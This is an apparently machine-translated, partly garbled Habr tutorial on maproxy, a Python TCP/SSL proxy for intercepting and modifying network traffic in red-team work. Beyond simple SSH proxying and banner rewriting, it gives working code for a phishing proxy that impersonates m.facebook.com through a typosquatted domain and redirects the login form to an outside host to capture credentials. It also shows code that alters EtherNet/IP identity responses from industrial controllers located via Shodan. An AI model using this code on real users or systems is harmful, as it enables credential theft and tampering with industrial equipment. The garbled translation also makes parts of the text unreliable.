Terjemahan artikel disiapake ing wayah wengi wiwitan kursus
anotasi
Macem-macem jinis taksiran keamanan, wiwit saka tes penetrasi biasa lan operasi Red Team nganti hacking piranti IoT/ICS lan SCADA, kalebu nggarap protokol jaringan binar, yaiku, nyegat lan ngowahi data jaringan antarane klien lan target. Ngombe lalu lintas jaringan dudu tugas sing angel amarga kita duwe alat kaya Wireshark, Tcpdump utawa Scapy, nanging modifikasi katon dadi tugas sing luwih akeh tenaga kerja amarga kita kudu duwe sawetara antarmuka kanggo maca data jaringan, nyaring, ngganti. iku ing fly lan ngirim bali menyang inang target ing meh wektu nyata. Kajaba iku, luwih becik yen alat kasebut bisa digunakake kanthi otomatis karo macem-macem sambungan paralel lan bisa disesuaikan kanthi nggunakake skrip.
Ing sawijining dina aku nemokake alat sing diarani
, dokumentasi kasebut kanthi cepet nerangake marang aku maproxy
– mung apa aku kudu. Iki minangka proxy TCP sing cukup prasaja, serbaguna lan gampang dikonfigurasi. Aku dites alat iki ing sawetara aplikasi cukup Komplek, kalebu piranti ICS (sing generate akeh paket) kanggo ndeleng yen bisa nangani akeh sambungan podo, lan alat nindakake uga.
Artikel iki bakal ngenalake sampeyan ngolah data jaringan kanthi cepet maproxy
.
Ringkesan
Instrumen maproxy
adhedhasar Tornado, framework jaringan bedo populer lan diwasa ing Python.
Umumé, bisa digunakake ing sawetara mode:
TCP:TCP
- sambungan TCP sing ora dienkripsi;TCP:SSL
иSSL:TCP
- kanthi enkripsi siji arah;SSL:SSL
- enkripsi rong arah.
Nerangake minangka perpustakaan. Kanggo wiwitan cepet, sampeyan bisa nggunakake conto file sing nggambarake utama
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Kasus 1 - proxy bidirectional prasaja
Adhedhasar tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
standar ProxyServer()
njupuk rong argumen - lokasi sambungan lan port target. server.listen()
njupuk siji bantahan - port kanggo ngrungokake sambungan mlebu.
Eksekusi skrip:
# python tcp2tcp.py
Kanggo mbukak tes, kita bakal nyambung menyang server SSH lokal liwat skrip proxy, sing ngrungokake 2222/tcp
port lan nyambung menyang port standar 22/tcp
Server SSH:
Spanduk sambutan ngandhani yen skrip conto kita wis sukses nggawe proxy lalu lintas jaringan.
Kasus 2 - modifikasi data
Skrip demo liyane logging_proxy.py
becik kanggo sesambungan karo data jaringan. Komentar ing file kasebut njlèntrèhaké cara kelas sing bisa diowahi kanggo nggayuh tujuan:
Sing paling menarik yaiku ing kene:
on_c2p_done_read
- kanggo nyegat data ing sadawane dalan saka klien menyang server;on_p2s_done_read
- mbalikke.
Coba ganti spanduk SSH sing server bali menyang klien:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Jalanake skrip:
Kaya sing sampeyan ngerteni, klien kasebut kesasar amarga jeneng server SSH kanggo dheweke diganti «DumnySSH»
.
Kasus 3 - kaca web phishing prasaja
Ana cara tanpa wates kanggo nggunakake alat iki. Wektu iki ayo fokus ing bab sing luwih praktis saka sisih operasi Red Team. Ayo tiru landing page m.facebook.com
lan nggunakake domain khusus kanthi kesalahan ketik sing disengaja, contone, m.facebok.com
. Kanggo tujuan demonstrasi, ayo nganggep yen domain kasebut kadhaptar dening kita.
Kita bakal nggawe sambungan jaringan sing ora dienkripsi karo proxy korban lan Stream SSL menyang server Facebook (31.13.81.36
). Kanggo nggawe conto iki bisa digunakake, kita kudu ngganti header host HTTP lan nyuntikake jeneng host sing bener, lan uga bakal mateni kompresi respon kanggo ngidini akses gampang menyang isi. Pungkasane, kita bakal ngganti formulir HTML supaya kredensial login dikirim menyang kita tinimbang server Facebook:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/jw/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
Ringkesan:
Nalika sampeyan bisa ndeleng, kita padha kasil bisa ngganti situs asli.
Kasus 4 – Porting Ethernet/IP
Aku wis dealing karo piranti industri lan piranti lunak (ICS / SCADA) kanggo sawetara wektu, kayata programmable controller (PLC), I / O modul, drive, relay, lingkungan program andha lan akeh liyane. Kasus iki kanggo wong sing seneng barang industri. Hacking solusi kuwi melu aktif muter karo protokol jaringan. Ing conto ing ngisor iki, aku arep nuduhake carane sampeyan bisa ngowahi lalu lintas jaringan ICS/SCADA.
Kanggo iki, sampeyan butuh ing ngisor iki:
- Jaringan sniffer, contone, Wireshark;
- Ethernet / IP utawa mung piranti SIP, sampeyan bisa nemokake nggunakake layanan Shodan;
- Skrip kita adhedhasar
maproxy
.
Pisanan, ayo goleki apa tanggapan identifikasi khas saka CIP (Common Industrial Protocol) katon kaya:
Identifikasi piranti ditindakake kanthi nggunakake protokol Ethernet/IP, yaiku versi sing luwih apik saka protokol Ethernet industri sing mbungkus protokol kontrol kayata CIP. Kita bakal ngganti jeneng ID sing disorot sing katon ing gambar "NI-IndComm kanggo Ethernet" nggunakake skrip proxy kita. Kita bisa nggunakake maneh skrip logging_proxy.py
lan uga ngowahi cara kelas on_p2s_done_read
, amarga kita pengin jeneng identitas sing beda katon ing klien.
Kode:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Ateges, kita njaluk identifikasi piranti kaping pindho, tanggapan sing kapindho yaiku asli, lan sing pertama diowahi kanthi cepet.
Lan pungkasan
Ing mratelakake panemume maproxy
Alat sing trep lan prasaja, sing uga ditulis ing Python, mula aku percaya yen sampeyan uga bisa entuk manfaat saka nggunakake. Mesthi, ana alat sing luwih rumit kanggo ngolah lan ngowahi data jaringan, nanging uga mbutuhake perhatian liyane lan biasane digawe kanggo kasus panggunaan tartamtu, f.eks. maproxy
sampeyan bisa kanthi cepet ngleksanakake gagasan kanggo nyegat data jaringan, amarga script contone cetha banget.
Source: www.habr.com